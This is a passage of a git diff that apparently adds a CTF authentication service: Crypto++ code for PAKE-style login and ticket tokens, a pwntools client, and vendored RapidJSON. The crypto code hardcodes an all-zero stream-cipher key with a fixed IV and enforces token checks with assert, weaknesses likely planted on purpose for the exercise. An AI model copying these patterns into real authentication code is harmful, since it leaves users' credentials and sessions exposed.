//}catch(...){ + // return "BAD"; + //} +} + +string stream_encrypt(string plain){ + string _key = "00000000000000000000000000000000", _iv = "12345678", cipher; + SecByteBlock key(reinterpret_cast(_key.c_str()), 32); + SecByteBlock iv(reinterpret_cast(_iv.c_str()), 8); + + ChaCha20::Encryption enc; + enc.SetKeyWithIV(key, key.size(), iv, iv.size()); + + cipher.resize(plain.size()); + enc.ProcessData((byte*)&cipher[0], (const byte*)plain.data(), plain.size()); + + return cipher; +} + +string stream_decrypt(string cipher){ + string _key = "00000000000000000000000000000000", _iv = "12345678", plain; + SecByteBlock key(reinterpret_cast(_key.c_str()), 32); + SecByteBlock iv(reinterpret_cast(_iv.c_str()), 8); + + ChaCha20::Decryption dec; + dec.SetKeyWithIV(key, key.size(), iv, iv.size()); + + plain.resize(cipher.size()); + dec.ProcessData((byte*)&plain[0], (const byte*)cipher.data(), cipher.size()); + + return plain; +} + +vector unpack_values(string inp){ + vector elements; + auto startpos = inp.find("|"); + if(startpos != string::npos){ + elements.push_back(inp.substr(0, startpos)); + } + while(startpos != string::npos){ + auto oldstart = startpos; + startpos = inp.find("|", oldstart+1); + elements.push_back(inp.substr(oldstart+1, startpos-oldstart-1)); + } + return elements; +} diff --git a/services/service2/src/auth_service/authlib.cpp b/services/service2/src/auth_service/authlib.cpp new file mode 100644 index 0000000..569b758 --- /dev/null +++ b/services/service2/src/auth_service/authlib.cpp @@ -0,0 +1,307 @@ +#include +#include +namespace py = pybind11; + +#include "cryptopp/integer.h" +#include "cryptopp/eccrypto.h" +#include "cryptopp/osrng.h" +#include "cryptopp/chacha.h" +#include "cryptopp/oids.h" +#include "cryptopp/hex.h" +#include "cryptopp/files.h" +#include "cryptopp/cryptlib.h" +#include "cryptopp/rijndael.h" +#include "cryptopp/modes.h" +using namespace CryptoPP; + +#include +#include +using std::string; + +#include "auth_utils.h" + +typedef DL_GroupParameters_EC GroupParameters; +typedef DL_GroupParameters_EC::Element Element; + +string get_secret(string psw){ + try{ + SHA256 hash; + string digest, hexdigest; + HexEncoder encoder(new StringSink(hexdigest)); + StringSource(psw, true, new HashFilter(hash, new StringSink(digest))); + StringSource(digest, true, new Redirector(encoder)); + return (hexdigest + "h"); + }catch(...){ + return "BAD"; + } +} + +struct AuthClient { + GroupParameters group; + AutoSeededRandomPool prng; + Integer x1, x2, s; + ECP::Point g1, g2, g3, g4, A, B; + + AuthClient(string username, string psw){ + group.Initialize(ASN1::secp256r1()); + x1 = Integer(prng, Integer::Zero(), group.GetMaxExponent()); + x2 = Integer(prng, Integer::One(), group.GetMaxExponent()); + g1 = group.ExponentiateBase(x1); + g2 = group.ExponentiateBase(x2); + s = Integer(get_secret(psw).c_str(), BIG_ENDIAN_ORDER) % (group.GetSubgroupOrder()*group.GetCofactor()); + } + + string get_starting_values(); + string get_final_values(string); + string get_shared_key(); +}; + +struct TicketClient { + string username, srv_id, auth_token, shared_key; + + TicketClient(string _username, string _srv_id, string _auth_token, string _key){ + username = _username; + srv_id = _srv_id; + auth_token = _auth_token; + shared_key = hex_to_string(_key); + } + + string get_user_token(); + string finalize_token(string, string); +}; + +struct AuthService { + GroupParameters group; + AutoSeededRandomPool prng; + Integer x3, x4, s; + ECP::Point g1, g2, g3, g4, A, B; + string username; + string KEY; + + AuthService(string _username, string hex_psw, string _auth_key){ + group.Initialize(ASN1::secp256r1()); + x3 = Integer(prng, Integer::Zero(), group.GetMaxExponent()); + x4 = Integer(prng, Integer::One(), group.GetMaxExponent()); + g3 = group.ExponentiateBase(x3); + g4 = group.ExponentiateBase(x4); + s = Integer(hex_psw.c_str(), BIG_ENDIAN_ORDER); + s = s % (group.GetSubgroupOrder()*group.GetCofactor()); + username = _username; + KEY = _auth_key; + } + + string get_values(string); + string finalize_token(string); +}; + +struct TicketService { + vector service_keys; + string KEY; + + TicketService(string _key, vector _service_keys){ + KEY = _key; + service_keys = _service_keys; + } + + vector get_service_tokens(string, string); + +}; + +string AuthClient::get_starting_values(){ + try{ + string toret = IntToString(g1.x, 10) + "|" + IntToString(g1.y, 10) + "|" + IntToString(g2.x, 10) + "|" + IntToString(g2.y, 10); + return string_to_hex(stream_encrypt(toret)); + }catch(...){ + return "BAD"; + } +} +string AuthClient::get_final_values(string enc_serverval){ + try{ + string dec = stream_decrypt(hex_to_string(enc_serverval)); + vector elements = unpack_values(dec); + if(elements.size() < 6) return std::to_string((int)elements.size()); + g3 = ECP::Point(Integer(elements[0].c_str(), BIG_ENDIAN_ORDER), Integer(elements[1].c_str(), BIG_ENDIAN_ORDER)); + g4 = ECP::Point(Integer(elements[2].c_str(), BIG_ENDIAN_ORDER), Integer(elements[3].c_str(), BIG_ENDIAN_ORDER)); + B = ECP::Point(Integer(elements[4].c_str(), BIG_ENDIAN_ORDER), Integer(elements[5].c_str(), BIG_ENDIAN_ORDER)); + A = group.GetCurve().Add(g1, g3); + A = group.GetCurve().Add(A, g4); + A = group.GetCurve().ScalarMultiply(A, x2*s); + + string toret = IntToString(A.x, 10) + "|" + IntToString(A.y, 10); + return string_to_hex(stream_encrypt(toret)); + }catch(...){ + return "BAD"; + } +} +string AuthClient::get_shared_key(){ + try{ + Element Kb = group.GetCurve().Inverse(group.GetCurve().ScalarMultiply(g4, x2*s)); + Kb = group.GetCurve().Add(B, Kb); + Kb = group.GetCurve().ScalarMultiply(Kb, x2); + + return string_to_hex(get_key_from_int(Kb.x)); + }catch(...){ + return "BAD"; + } +} + +string TicketClient::get_user_token(){ + try{ + TOKEN user_token; + user_token.ts = std::to_string(std::time(0)); + user_token.user = string_to_hex(username); + user_token.key = ""; + user_token.type = "USER_TOKEN"; + user_token.service = srv_id; + + string user_token_json = serialize_token(user_token, shared_key); + string enc_user_token = aes_256_encrypt(shared_key, user_token_json); + + return enc_user_token; + }catch(...){ + return "BAD"; + } +} +string TicketClient::finalize_token(string enc_key_token, string enc_service_token){ + try{ + auto dec_key_token = aes_256_decrypt(shared_key, enc_key_token); + auto key_token = deserialize_token(dec_key_token, true, shared_key); + auto tmp_key = hex_to_string(key_token.key); + + TOKEN app_token; + app_token.user = key_token.user; + app_token.ts = std::to_string(std::time(0)); + app_token.key = "0"; + app_token.service = "0"; + app_token.type = "APP_TOKEN"; + + auto enc_app_token = aes_256_encrypt(tmp_key, serialize_token(app_token, tmp_key)); + return enc_app_token + "." + enc_service_token; + }catch(...){ + return "BAD"; + } +} + +string AuthService::get_values(string enc_clientval){ + try{ + string dec = stream_decrypt(hex_to_string(enc_clientval)); + vector elements = unpack_values(dec); + if(elements.size() < 4) return std::to_string((int)elements.size()); + g1 = ECP::Point(Integer(elements[0].c_str(), BIG_ENDIAN_ORDER), Integer(elements[1].c_str(), BIG_ENDIAN_ORDER)); + g2 = ECP::Point(Integer(elements[2].c_str(), BIG_ENDIAN_ORDER), Integer(elements[3].c_str(), BIG_ENDIAN_ORDER)); + B = group.GetCurve().Add(g1, g2); + B = group.GetCurve().Add(B, g3); + B = group.GetCurve().ScalarMultiply(B, x4*s); + + string toret = IntToString(g3.x, 10) + "|" + IntToString(g3.y, 10) + "|" + IntToString(g4.x, 10) + "|" + IntToString(g4.y, 10) + "|" + IntToString(B.x, 10) + "|" + IntToString(B.y, 10); + return string_to_hex(stream_encrypt(toret)); + }catch(...){ + return "BAD"; + } +} +string AuthService::finalize_token(string enc_clientval){ + try{ + string dec = stream_decrypt(hex_to_string(enc_clientval)); + vector elements = unpack_values(dec); + if(elements.size() < 2) return std::to_string((int)elements.size()); + A = ECP::Point(Integer(elements[0].c_str(), BIG_ENDIAN_ORDER), Integer(elements[1].c_str(), BIG_ENDIAN_ORDER)); + + Element Ka = group.GetCurve().Inverse(group.GetCurve().ScalarMultiply(g2, x4*s)); + Ka = group.GetCurve().Add(A, Ka); + Ka = group.GetCurve().ScalarMultiply(Ka, x4); + + auto key = get_key_from_int(Ka.x); + + TOKEN tgt_token; + tgt_token.ts = std::to_string(std::time(0)); + tgt_token.user = string_to_hex(username); + tgt_token.key = string_to_hex(key); + tgt_token.type = "AUTH_TOKEN"; + tgt_token.service = "0"; + + auto token = serialize_token(tgt_token, KEY); + string enc_token = aes_256_encrypt(KEY, token); + return enc_token; + }catch(...){ + return "BAD"; + } +} + +vector TicketService::get_service_tokens(string enc_user_token, string enc_auth_token){ + try{ + auto dec_auth_token = aes_256_decrypt(KEY, enc_auth_token); + auto auth_token = deserialize_token(dec_auth_token, true, KEY); + assert(auth_token.type == "AUTH_TOKEN"); + assert(std::time(0) - std::stoi(auth_token.ts) < TOKEN_EXP); + + + auto user_key = hex_to_string(auth_token.key); + auto user = hex_to_string(auth_token.user); + + auto dec_user_token = aes_256_decrypt(user_key, enc_user_token); + auto user_token = deserialize_token(dec_user_token, true, user_key); + + assert(user == hex_to_string(user_token.user)); + assert(user_token.type == "USER_TOKEN"); + assert(std::time(0) - std::stoi(user_token.ts) < TOKEN_EXP); + + TOKEN key_token; + + AutoSeededRandomPool prng; + SecByteBlock tmp_key(AES::MAX_KEYLENGTH); + prng.GenerateBlock(tmp_key, tmp_key.size()); + + string str_tmp_key(reinterpret_cast(&tmp_key[0]), tmp_key.size()); + auto hex_tmp_key = string_to_hex(str_tmp_key); + + key_token.key = hex_tmp_key; + key_token.user = string_to_hex(user); + key_token.service = "0"; + key_token.type = "KEY_TOKEN"; + key_token.ts = std::to_string(std::time(0)); + + auto enc_key_token = aes_256_encrypt(user_key, serialize_token(key_token, user_key)); + + TOKEN service_token; + + service_token.user = string_to_hex(user); + service_token.key = hex_tmp_key; + service_token.service = "0"; + service_token.type = "SERVICE_TOKEN"; + service_token.ts = std::to_string(std::time(0)); + + auto enc_service_token = aes_256_encrypt(service_keys.at((size_t)(std::stoi(user_token.service) - 1)), serialize_token(service_token, service_keys.at((size_t)(std::stoi(user_token.service) - 1)))); + + vector ret; + ret.push_back(enc_key_token); + ret.push_back(enc_service_token); + + return ret; + }catch(...){ + return {"BAD", ""}; + } +} + +PYBIND11_MODULE(authlib, m) { + py::class_(m, "AuthClient") + .def(py::init()) + .def("get_starting_values", &AuthClient::get_starting_values) + .def("get_final_values", &AuthClient::get_final_values) + .def("get_shared_key", &AuthClient::get_shared_key); + + py::class_(m, "TicketClient") + .def(py::init()) + .def("get_user_token", &TicketClient::get_user_token) + .def("finalize_token", &TicketClient::finalize_token); + + py::class_(m, "AuthService") + .def(py::init()) + .def("get_values", &AuthService::get_values) + .def("finalize_token", &AuthService::finalize_token); + + py::class_(m, "TicketService") + .def(py::init>()) + .def("get_service_tokens", &TicketService::get_service_tokens); + + m.def("get_secret", &get_secret); +} diff --git a/services/service2/src/auth_service/client.py b/services/service2/src/auth_service/client.py new file mode 100644 index 0000000..1759694 --- /dev/null +++ b/services/service2/src/auth_service/client.py @@ -0,0 +1,158 @@ +from pwn import * +import authlib +import sys +import string + +context.log_level = "error" + +PORT = 1234 + +SERVICES = { + "ExamNotes": "1", + "EncryptedNotes": "2", + "ExamPortal": "3" +} + +banner = """ +============================================== +| | +| .odbo. | +| .od88888888bo. | +| .od8888888888888888bo. | +| .od888888888888888888888888bo. | +| od88888888888888888888888888888888bo | +| `~888888888888888888888888888888~' | +| `~888888888888888888888888~'| | +| `~888888888888888888~' | | +| |`~888888888888~'| | | +| \ `~888888~' / A | +| `-_ `~~' _-' H | +| `--____--' | +| | +| ooo, .---. | +| o` o / |\________________ | +| o` 'oooo() | ________ _ _) | +| `oo o` \ |/ | | | | | +| `ooo' `---' "-" |_| | +| | +============================================== +""" + +ALPH = string.ascii_letters + string.digits + +if len(sys.argv) != 2: + print('Usage: python3 client.py ') + exit(1) + +def validate_string(s): + return all([c in ALPH for c in s]) and len(s) > 7 and len(s) < 65 + +class Client(): + def __init__(self, server_ip, username, password, service): + self.server_addr = server_ip + self.server_port = PORT + self.username = username + self.password = password + self.service = service + self.auth_token = None + self.shared_key = None + + def open_connection(self): + s = remote(self.server_addr, self.server_port) + assert s.recvline(False) == b"HELLO" + s.sendline(b"HELLO") + assert s.recvline(False) == b"OK" + return s + + def register(self): + s = self.open_connection() + s.sendline(b"REG") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(self.password.encode()) + resp = s.recvline(False) + s.close() + if resp != b"OK": + return False + return True + + def login(self): + auth = authlib.AuthClient(self.username, self.password) + initial_values = auth.get_starting_values() + s = self.open_connection() + s.sendline(b"AUTH") + assert s.recvline(False) == b"OK" + s.sendline(self.username.encode()) + resp = s.recvline(False) + if resp != b"OK": + return False + s.sendline(initial_values.encode()) + intermediate_values = s.recvline(False).decode() + final_values = auth.get_final_values(intermediate_values) + s.sendline(final_values.encode()) + self.auth_token = s.recvline(False).decode() + self.shared_key = auth.get_shared_key() + s.close() + return True + + def get_token(self): + token_client = authlib.TicketClient(self.username, self.service, self.auth_token, self.shared_key) + user_token = token_client.get_user_token() + s = self.open_connection() + s.sendline(b"TOKEN") + assert s.recvline(False) == b"OK" + s.sendline(user_token.encode() + b"." + self.auth_token.encode()) + key_token, service_token = s.recvline(False).decode().split(".") + s.close() + return token_client.finalize_token(key_token, service_token) + +try: + print() + print(banner) + print() + print("Welcome to the CyberUni™ authentication system, what do you want to do?") + print("1. Register a new account") + print("2. Obtain a login token for a service") + print("0. Exit") + + choice = int(input("> ")) + if choice not in [0,1,2]: + print("I don't know that command...") + elif choice == 0: + print("Bye!") + else: + service_number = None + username = input("Username: ").strip() + assert validate_string(username), "username must contain at least 8 characters and at most 64. Only letters and digits allowed!" + password = input("Password: ").strip() + assert validate_string(password), "password must contain at least 8 characters and at most 64. Only letters and digits allowed!" + if choice == 2: + print() + print("Available services:") + + for s in SERVICES: + print(f"- {s}") + + print() + service = input("Choose the service you want to connect to: ").strip() + assert service in SERVICES, "service not recognized." + service_number = SERVICES[service] + + c = Client(sys.argv[1], username, password, service_number) + + if choice == 1: + c.register() + else: + resp = c.login() + if resp: + token = c.get_token() + print(f"You can login to the service {service} using the token {token}") + else: + print("Login failed") + +except Exception as e: + print(f"It seems that something bad just happened: {e}") + print("Please try again later!") diff --git a/services/service2/src/auth_service/rapidjson/allocators.h b/services/service2/src/auth_service/rapidjson/allocators.h new file mode 100644 index 0000000..12bc5ba --- /dev/null +++ b/services/service2/src/auth_service/rapidjson/allocators.h @@ -0,0 +1,692 @@ +// Tencent is pleased to support the open source community by making RapidJSON available. +// +// Copyright (C) 2015 THL A29 Limited, a Tencent company, and Milo Yip. +// +// Licensed under the MIT License (the "License"); you may not use this file except +// in compliance with the License. You may obtain a copy of the License at +// +// http://opensource.org/licenses/MIT +// +// Unless required by applicable law or agreed to in writing, software distributed +// under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR +// CONDITIONS OF ANY KIND, either express or implied. See the License for the +// specific language governing permissions and limitations under the License. + +#ifndef RAPIDJSON_ALLOCATORS_H_ +#define RAPIDJSON_ALLOCATORS_H_ + +#include "rapidjson.h" +#include "internal/meta.h" + +#include + +#if RAPIDJSON_HAS_CXX11 +#include +#endif + +RAPIDJSON_NAMESPACE_BEGIN + +/////////////////////////////////////////////////////////////////////////////// +// Allocator + +/*! \class rapidjson::Allocator + \brief Concept for allocating, resizing and freeing memory block. + + Note that Malloc() and Realloc() are non-static but Free() is static. + + So if an allocator need to support Free(), it needs to put its pointer in + the header of memory block. + +\code +concept Allocator { + static const bool kNeedFree; //!< Whether this allocator needs to call Free(). + + // Allocate a memory block. + // \param size of the memory block in bytes. + // \returns pointer to the memory block. + void* Malloc(size_t size); + + // Resize a memory block. + // \param originalPtr The pointer to current memory block. Null pointer is permitted. + // \param originalSize The current size in bytes. (Design issue: since some allocator may not book-keep this, explicitly pass to it can save memory.) + // \param newSize the new size in bytes. + void* Realloc(void* originalPtr, size_t originalSize, size_t newSize); + + // Free a memory block. + // \param pointer to the memory block. Null pointer is permitted. + static void Free(void *ptr); +}; +\endcode +*/ + + +/*! \def RAPIDJSON_ALLOCATOR_DEFAULT_CHUNK_CAPACITY + \ingroup RAPIDJSON_CONFIG + \brief User-defined kDefaultChunkCapacity definition. + + User can define this as any \c size that is a power of 2. +*/ + +#ifndef RAPIDJSON_ALLOCATOR_DEFAULT_CHUNK_CAPACITY +#define RAPIDJSON_ALLOCATOR_DEFAULT_CHUNK_CAPACITY (64 * 1024) +#endif + + +/////////////////////////////////////////////////////////////////////////////// +// CrtAllocator + +//! C-runtime library allocator. +/*! This class is just wrapper for standard C library memory routines. + \note implements Allocator concept +*/ +class CrtAllocator { +public: + static const bool kNeedFree = true; + void* Malloc(size_t size) { + if (size) // behavior of malloc(0) is implementation defined. + return RAPIDJSON_MALLOC(size); + else + return NULL; // standardize to returning NULL. + } + void* Realloc(void* originalPtr, size_t originalSize, size_t newSize) { + (void)originalSize; + if (newSize == 0) { + RAPIDJSON_FREE(originalPtr); + return NULL; + } + return RAPIDJSON_REALLOC(originalPtr, newSize); + } + static void Free(void *ptr) RAPIDJSON_NOEXCEPT { RAPIDJSON_FREE(ptr); } + + bool operator==(const CrtAllocator&) const RAPIDJSON_NOEXCEPT { + return true; + } + bool operator!=(const CrtAllocator&) const RAPIDJSON_NOEXCEPT { + return false; + } +}; + +/////////////////////////////////////////////////////////////////////////////// +// MemoryPoolAllocator + +//! Default memory allocator used by the parser and DOM. +/*! This allocator allocate memory blocks from pre-allocated memory chunks. + + It does not free memory blocks. And Realloc() only allocate new memory. + + The memory chunks are allocated by BaseAllocator, which is CrtAllocator by default. + + User may also supply a buffer as the first chunk. + + If the user-buffer is full then additional chunks are allocated by BaseAllocator. + + The user-buffer is not deallocated by this allocator. + + \tparam BaseAllocator the allocator type for allocating memory chunks. Default is CrtAllocator. + \note implements Allocator concept +*/ +template +class MemoryPoolAllocator { + //! Chunk header for perpending to each chunk. + /*! Chunks are stored as a singly linked list. + */ + struct ChunkHeader { + size_t capacity; //!< Capacity of the chunk in bytes (excluding the header itself). + size_t size; //!< Current size of allocated memory in bytes. + ChunkHeader *next; //!< Next chunk in the linked list. + }; + + struct SharedData { + ChunkHeader *chunkHead; //!< Head of the chunk linked-list. Only the head chunk serves allocation. + BaseAllocator* ownBaseAllocator; //!< base allocator created by this object. + size_t refcount; + bool ownBuffer; + }; + + static const size_t SIZEOF_SHARED_DATA = RAPIDJSON_ALIGN(sizeof(SharedData)); + static const size_t SIZEOF_CHUNK_HEADER = RAPIDJSON_ALIGN(sizeof(ChunkHeader)); + + static inline ChunkHeader *GetChunkHead(SharedData *shared) + { + return reinterpret_cast(reinterpret_cast(shared) + SIZEOF_SHARED_DATA); + } + static inline uint8_t *GetChunkBuffer(SharedData *shared) + { + return reinterpret_cast(shared->chunkHead) + SIZEOF_CHUNK_HEADER; + } + + static const size_t kDefaultChunkCapacity = RAPIDJSON_ALLOCATOR_DEFAULT_CHUNK_CAPACITY; //!< Default chunk capacity. + +public: + static const bool kNeedFree = false; //!< Tell users that no need to call Free() with this allocator. (concept Allocator) + static const bool kRefCounted = true; //!< Tell users that this allocator is reference counted on copy + + //! Constructor with chunkSize. + /*! \param chunkSize The size of memory chunk. The default is kDefaultChunkSize. + \param baseAllocator The allocator for allocating memory chunks. + */ + explicit + MemoryPoolAllocator(size_t chunkSize = kDefaultChunkCapacity, BaseAllocator* baseAllocator = 0) : + chunk_capacity_(chunkSize), + baseAllocator_(baseAllocator ? baseAllocator : RAPIDJSON_NEW(BaseAllocator)()), + shared_(static_cast(baseAllocator_ ? baseAllocator_->Malloc(SIZEOF_SHARED_DATA + SIZEOF_CHUNK_HEADER) : 0)) + { + RAPIDJSON_ASSERT(baseAllocator_ != 0); + RAPIDJSON_ASSERT(shared_ != 0); + if (baseAllocator) { + shared_->ownBaseAllocator = 0; + } + else { + shared_->ownBaseAllocator = baseAllocator_; + } + shared_->chunkHead = GetChunkHead(shared_); + shared_->chunkHead->capacity = 0; + shared_->chunkHead->size = 0; + shared_->chunkHead->next = 0; + shared_->ownBuffer = true; + shared_->refcount = 1; + } + + //! Constructor with user-supplied buffer. + /*! The user buffer will be used firstly. When it is full, memory pool allocates new chunk with chunk size. + + The user buffer will not be deallocated when this allocator is destructed. + + \param buffer User supplied buffer. + \param size Size of the buffer in bytes. It must at least larger than sizeof(ChunkHeader). + \param chunkSize The size of memory chunk. The default is kDefaultChunkSize. + \param baseAllocator The allocator for allocating memory chunks. + */ + MemoryPoolAllocator(void *buffer, size_t size, size_t chunkSize = kDefaultChunkCapacity, BaseAllocator* baseAllocator = 0) : + chunk_capacity_(chunkSize), + baseAllocator_(baseAllocator), + shared_(static_cast(AlignBuffer(buffer, size))) + { + RAPIDJSON_ASSERT(size >= SIZEOF_SHARED_DATA + SIZEOF_CHUNK_HEADER); + shared_->chunkHead = GetChunkHead(shared_); + shared_->chunkHead->capacity = size - SIZEOF_SHARED_DATA - SIZEOF_CHUNK_HEADER; + shared_->chunkHead->size = 0; + shared_->chunkHead->next = 0; + shared_->ownBaseAllocator = 0; + shared_->ownBuffer = false; + shared_->refcount = 1; + } + + MemoryPoolAllocator(const MemoryPoolAllocator& rhs) RAPIDJSON_NOEXCEPT : + chunk_capacity_(rhs.chunk_capacity_), + baseAllocator_(rhs.baseAllocator_), + shared_(rhs.shared_) + { + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + ++shared_->refcount; + } + MemoryPoolAllocator& operator=(const MemoryPoolAllocator& rhs) RAPIDJSON_NOEXCEPT + { + RAPIDJSON_NOEXCEPT_ASSERT(rhs.shared_->refcount > 0); + ++rhs.shared_->refcount; + this->~MemoryPoolAllocator(); + baseAllocator_ = rhs.baseAllocator_; + chunk_capacity_ = rhs.chunk_capacity_; + shared_ = rhs.shared_; + return *this; + } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + MemoryPoolAllocator(MemoryPoolAllocator&& rhs) RAPIDJSON_NOEXCEPT : + chunk_capacity_(rhs.chunk_capacity_), + baseAllocator_(rhs.baseAllocator_), + shared_(rhs.shared_) + { + RAPIDJSON_NOEXCEPT_ASSERT(rhs.shared_->refcount > 0); + rhs.shared_ = 0; + } + MemoryPoolAllocator& operator=(MemoryPoolAllocator&& rhs) RAPIDJSON_NOEXCEPT + { + RAPIDJSON_NOEXCEPT_ASSERT(rhs.shared_->refcount > 0); + this->~MemoryPoolAllocator(); + baseAllocator_ = rhs.baseAllocator_; + chunk_capacity_ = rhs.chunk_capacity_; + shared_ = rhs.shared_; + rhs.shared_ = 0; + return *this; + } +#endif + + //! Destructor. + /*! This deallocates all memory chunks, excluding the user-supplied buffer. + */ + ~MemoryPoolAllocator() RAPIDJSON_NOEXCEPT { + if (!shared_) { + // do nothing if moved + return; + } + if (shared_->refcount > 1) { + --shared_->refcount; + return; + } + Clear(); + BaseAllocator *a = shared_->ownBaseAllocator; + if (shared_->ownBuffer) { + baseAllocator_->Free(shared_); + } + RAPIDJSON_DELETE(a); + } + + //! Deallocates all memory chunks, excluding the first/user one. + void Clear() RAPIDJSON_NOEXCEPT { + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + for (;;) { + ChunkHeader* c = shared_->chunkHead; + if (!c->next) { + break; + } + shared_->chunkHead = c->next; + baseAllocator_->Free(c); + } + shared_->chunkHead->size = 0; + } + + //! Computes the total capacity of allocated memory chunks. + /*! \return total capacity in bytes. + */ + size_t Capacity() const RAPIDJSON_NOEXCEPT { + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + size_t capacity = 0; + for (ChunkHeader* c = shared_->chunkHead; c != 0; c = c->next) + capacity += c->capacity; + return capacity; + } + + //! Computes the memory blocks allocated. + /*! \return total used bytes. + */ + size_t Size() const RAPIDJSON_NOEXCEPT { + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + size_t size = 0; + for (ChunkHeader* c = shared_->chunkHead; c != 0; c = c->next) + size += c->size; + return size; + } + + //! Whether the allocator is shared. + /*! \return true or false. + */ + bool Shared() const RAPIDJSON_NOEXCEPT { + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + return shared_->refcount > 1; + } + + //! Allocates a memory block. (concept Allocator) + void* Malloc(size_t size) { + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + if (!size) + return NULL; + + size = RAPIDJSON_ALIGN(size); + if (RAPIDJSON_UNLIKELY(shared_->chunkHead->size + size > shared_->chunkHead->capacity)) + if (!AddChunk(chunk_capacity_ > size ? chunk_capacity_ : size)) + return NULL; + + void *buffer = GetChunkBuffer(shared_) + shared_->chunkHead->size; + shared_->chunkHead->size += size; + return buffer; + } + + //! Resizes a memory block (concept Allocator) + void* Realloc(void* originalPtr, size_t originalSize, size_t newSize) { + if (originalPtr == 0) + return Malloc(newSize); + + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + if (newSize == 0) + return NULL; + + originalSize = RAPIDJSON_ALIGN(originalSize); + newSize = RAPIDJSON_ALIGN(newSize); + + // Do not shrink if new size is smaller than original + if (originalSize >= newSize) + return originalPtr; + + // Simply expand it if it is the last allocation and there is sufficient space + if (originalPtr == GetChunkBuffer(shared_) + shared_->chunkHead->size - originalSize) { + size_t increment = static_cast(newSize - originalSize); + if (shared_->chunkHead->size + increment <= shared_->chunkHead->capacity) { + shared_->chunkHead->size += increment; + return originalPtr; + } + } + + // Realloc process: allocate and copy memory, do not free original buffer. + if (void* newBuffer = Malloc(newSize)) { + if (originalSize) + std::memcpy(newBuffer, originalPtr, originalSize); + return newBuffer; + } + else + return NULL; + } + + //! Frees a memory block (concept Allocator) + static void Free(void *ptr) RAPIDJSON_NOEXCEPT { (void)ptr; } // Do nothing + + //! Compare (equality) with another MemoryPoolAllocator + bool operator==(const MemoryPoolAllocator& rhs) const RAPIDJSON_NOEXCEPT { + RAPIDJSON_NOEXCEPT_ASSERT(shared_->refcount > 0); + RAPIDJSON_NOEXCEPT_ASSERT(rhs.shared_->refcount > 0); + return shared_ == rhs.shared_; + } + //! Compare (inequality) with another MemoryPoolAllocator + bool operator!=(const MemoryPoolAllocator& rhs) const RAPIDJSON_NOEXCEPT { + return !operator==(rhs); + } + +private: + //! Creates a new chunk. + /*! \param capacity Capacity of the chunk in bytes. + \return true if success. + */ + bool AddChunk(size_t capacity) { + if (!baseAllocator_) + shared_->ownBaseAllocator = baseAllocator_ = RAPIDJSON_NEW(BaseAllocator)(); + if (ChunkHeader* chunk = static_cast(baseAllocator_->Malloc(SIZEOF_CHUNK_HEADER + capacity))) { + chunk->capacity = capacity; + chunk->size = 0; + chunk->next = shared_->chunkHead; + shared_->chunkHead = chunk; + return true; + } + else + return false; + } + + static inline void* AlignBuffer(void* buf, size_t &size) + { + RAPIDJSON_NOEXCEPT_ASSERT(buf != 0); + const uintptr_t mask = sizeof(void*) - 1; + const uintptr_t ubuf = reinterpret_cast(buf); + if (RAPIDJSON_UNLIKELY(ubuf & mask)) { + const uintptr_t abuf = (ubuf + mask) & ~mask; + RAPIDJSON_ASSERT(size >= abuf - ubuf); + buf = reinterpret_cast(abuf); + size -= abuf - ubuf; + } + return buf; + } + + size_t chunk_capacity_; //!< The minimum capacity of chunk when they are allocated. + BaseAllocator* baseAllocator_; //!< base allocator for allocating memory chunks. + SharedData *shared_; //!< The shared data of the allocator +}; + +namespace internal { + template + struct IsRefCounted : + public FalseType + { }; + template + struct IsRefCounted::Type> : + public TrueType + { }; +} + +template +inline T* Realloc(A& a, T* old_p, size_t old_n, size_t new_n) +{ + RAPIDJSON_NOEXCEPT_ASSERT(old_n <= SIZE_MAX / sizeof(T) && new_n <= SIZE_MAX / sizeof(T)); + return static_cast(a.Realloc(old_p, old_n * sizeof(T), new_n * sizeof(T))); +} + +template +inline T *Malloc(A& a, size_t n = 1) +{ + return Realloc(a, NULL, 0, n); +} + +template +inline void Free(A& a, T *p, size_t n = 1) +{ + static_cast(Realloc(a, p, n, 0)); +} + +#ifdef __GNUC__ +RAPIDJSON_DIAG_PUSH +RAPIDJSON_DIAG_OFF(effc++) // std::allocator can safely be inherited +#endif + +template +class StdAllocator : + public std::allocator +{ + typedef std::allocator allocator_type; +#if RAPIDJSON_HAS_CXX11 + typedef std::allocator_traits traits_type; +#else + typedef allocator_type traits_type; +#endif + +public: + typedef BaseAllocator BaseAllocatorType; + + StdAllocator() RAPIDJSON_NOEXCEPT : + allocator_type(), + baseAllocator_() + { } + + StdAllocator(const StdAllocator& rhs) RAPIDJSON_NOEXCEPT : + allocator_type(rhs), + baseAllocator_(rhs.baseAllocator_) + { } + + template + StdAllocator(const StdAllocator& rhs) RAPIDJSON_NOEXCEPT : + allocator_type(rhs), + baseAllocator_(rhs.baseAllocator_) + { } + +#if RAPIDJSON_HAS_CXX11_RVALUE_REFS + StdAllocator(StdAllocator&& rhs) RAPIDJSON_NOEXCEPT : + allocator_type(std::move(rhs)), + baseAllocator_(std::move(rhs.baseAllocator_)) + { } +#endif +#if RAPIDJSON_HAS_CXX11 + using propagate_on_container_move_assignment = std::true_type; + using propagate_on_container_swap = std::true_type; +#endif + + /* implicit */ + StdAllocator(const BaseAllocator& allocator) RAPIDJSON_NOEXCEPT : + allocator_type(), + baseAllocator_(allocator) + { } + + ~StdAllocator() RAPIDJSON_NOEXCEPT + { } + + template + struct rebind { + typedef StdAllocator other; + }; + + typedef typename traits_type::size_type size_type; + typedef typename traits_type::difference_type difference_type; + + typedef typename traits_type::value_type value_type; + typedef typename traits_type::pointer pointer; + typedef typename traits_type::const_pointer const_pointer; + +#if RAPIDJSON_HAS_CXX11 + + typedef typename std::add_lvalue_reference::type &reference; + typedef typename std::add_lvalue_reference::type>::type &const_reference; + + pointer address(reference r) const RAPIDJSON_NOEXCEPT + { + return std::addressof(r); + } + const_pointer address(const_reference r) const RAPIDJSON_NOEXCEPT + { + return std::addressof(r); + } + + size_type max_size() 